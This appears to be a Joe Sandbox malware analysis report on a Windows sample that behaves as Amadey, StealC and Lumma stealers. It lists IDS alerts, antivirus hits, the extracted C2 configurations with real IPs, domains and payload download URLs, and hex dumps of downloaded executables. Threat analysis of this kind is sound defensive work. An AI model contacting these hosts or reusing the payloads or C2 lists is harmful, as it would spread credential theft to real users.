2024-12-10T02:51:41.664864+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49939	185.215.113.43	80	TCP
2024-12-10T02:51:52.251340+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49980	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T02:51:24.419370+0100	2057921	1	Domain Observed Used for C2 Detected	192.168.2.5	62742	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T02:50:02.583150+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T02:50:02.462774+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T02:50:02.911511+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T02:50:04.452574+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T02:50:03.032801+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T02:51:41.876245+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49938	104.21.16.1	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T02:50:02.013572+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP
2024-12-10T02:51:38.416135+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49931	185.215.113.206	80	TCP
2024-12-10T02:51:56.685226+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49999	185.215.113.206	80	TCP
2024-12-10T02:52:25.957407+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50072	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T02:51:05.383142+0100	2856147	1	A Network Trojan was detected	192.168.2.5	49847	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T02:51:15.615167+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	49853	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T02:51:09.814999+0100	2803305	3	Unknown Traffic	192.168.2.5	49859	31.41.244.11	80	TCP
2024-12-10T02:51:18.496836+0100	2803305	3	Unknown Traffic	192.168.2.5	49881	185.215.113.16	80	TCP
2024-12-10T02:51:27.154056+0100	2803305	3	Unknown Traffic	192.168.2.5	49900	185.215.113.16	80	TCP
2024-12-10T02:51:35.622079+0100	2803305	3	Unknown Traffic	192.168.2.5	49924	185.215.113.16	80	TCP
2024-12-10T02:51:43.176327+0100	2803305	3	Unknown Traffic	192.168.2.5	49945	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T02:50:05.164857+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP
2024-12-10T02:50:31.767986+0100	2803304	3	Unknown Traffic	192.168.2.5	49763	185.215.113.206	80	TCP
2024-12-10T02:50:34.102952+0100	2803304	3	Unknown Traffic	192.168.2.5	49763	185.215.113.206	80	TCP
2024-12-10T02:50:35.482171+0100	2803304	3	Unknown Traffic	192.168.2.5	49763	185.215.113.206	80	TCP
2024-12-10T02:50:36.570058+0100	2803304	3	Unknown Traffic	192.168.2.5	49763	185.215.113.206	80	TCP
2024-12-10T02:50:40.151908+0100	2803304	3	Unknown Traffic	192.168.2.5	49763	185.215.113.206	80	TCP
2024-12-10T02:50:41.253455+0100	2803304	3	Unknown Traffic	192.168.2.5	49763	185.215.113.206	80	TCP
2024-12-10T02:50:46.605352+0100	2803304	3	Unknown Traffic	192.168.2.5	49798	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://atten-supporse.biz/apitW	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpfox	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/off/def.exez1	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/off/def.exez.	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/off/random.exe4	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1320706
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 0000000E.00000002.2623989684.0000000000511000.00000040.00000001.01000000.0000000B.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000025.00000002.3252381859.00000000016EB000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: feb3d39b6a.exe.6568.19.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["dare-curbys.biz", "impend-differ.biz", "formy-spill.biz", "atten-supporse.biz", "se-blurry.biz", "dwell-exclaim.biz", "covery-mover.biz", "zinc-sneark.biz", "print-vexer.biz"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	ReversingLabs: Detection: 21%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	ReversingLabs: Detection: 21%
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	ReversingLabs: Detection: 42%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 44%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C4E6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C4E6C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49898 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49905 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49915 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49923 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49930 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49938 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49946 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49953 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49968 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49979 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:50016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:50029 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2619103776.000000006C70F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2619103776.000000006C70F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: feb3d39b6a.exe, 00000013.00000002.3346267958.0000000005FF2000.00000040.00000800.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe	Memory has grown: Private usage: 1MB later: 38MB
Source: firefox.exe	Memory has grown: Private usage: 1MB later: 198MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49847 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:49853
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49875 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057921 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz) : 192.168.2.5:62742 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49897 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:49898 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:49905 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:49915 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:49923 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49921 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:49930 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49931 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:49938 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49939 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:49946 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:49951 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:49953 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:49968 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:49979 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49980 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:49992 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49999 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:50001 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:50016 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:50029 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50072 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49898 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49898 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49946 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49946 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49938 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49953 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49953 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49979 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49905 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49905 -> 104.21.16.1:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: dare-curbys.biz
Source: Malware configuration extractor	URLs: impend-differ.biz
Source: Malware configuration extractor	URLs: formy-spill.biz
Source: Malware configuration extractor	URLs: atten-supporse.biz
Source: Malware configuration extractor	URLs: se-blurry.biz
Source: Malware configuration extractor	URLs: dwell-exclaim.biz
Source: Malware configuration extractor	URLs: covery-mover.biz
Source: Malware configuration extractor	URLs: zinc-sneark.biz
Source: Malware configuration extractor	URLs: print-vexer.biz
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 10 Dec 2024 01:50:04 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 10 Dec 2024 01:50:31 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 